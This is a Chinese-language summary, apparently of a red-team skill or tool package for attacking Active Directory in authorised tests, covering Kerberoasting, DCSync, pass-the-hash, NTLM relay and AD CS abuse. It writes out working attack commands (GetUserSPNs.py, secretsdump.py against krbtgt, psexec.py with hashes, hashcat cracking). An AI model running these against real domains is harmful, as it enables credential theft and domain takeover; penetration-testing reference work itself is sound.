用途:在授权的红队行动与渗透测试中攻击 Microsoft Active Directory 环境,覆盖侦察、凭据收集、Kerberos 攻击、横向移动、权限提升与域控接管。
主要能力:Kerberos 时钟同步与偏移检测;BloodHound/SharpHound 攻击路径枚举;PowerView 域信息、用户、组与本地管理员发现;密码喷洒、Kerberoasting、AS-REP Roasting、DCSync;黄金票据、白银票据、Pass-the-Hash、OverPass-the-Hash;Responder 与 ntlmrelayx 的 NTLM 中继;AD CS(ESC1、ESC8)证书攻击;ZeroLogon、PrintNightmare、samAccountName 欺骗等 CVE 利用。
使用方式:需 Kali 或 Windows 攻击平台、网络可达域控,多数攻击需有效域凭据。Kerberos 攻击前先同步时间,例如 nmap -sT 10.10.10.10 -p445 --script smb2-time 检测偏差,net time /domain /set 或 faketime 修正。用 bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all 收集数据;GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt 做 Kerberoasting,hashcat -m 13100 hashes.txt rockyou.txt 离线破解;secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt 执行 DCSync;psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH 实现 Pass-the-Hash。中继前用 crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt 检查 SMB 签名。
适用场景:授权渗透测试、红队演练、AD 安全评估与域内提权路径验证。
限制:必须与域控同步时间,多数攻击需有效凭据;避免过度喷洒导致账户锁定;未经批准不得修改生产 AD 对象;黄金票据须记录。高级技术(委派、GPO 滥用、RODC、SCCM/WSUS、信任关系、Linux AD 集成)见 references/advanced-attacks.md。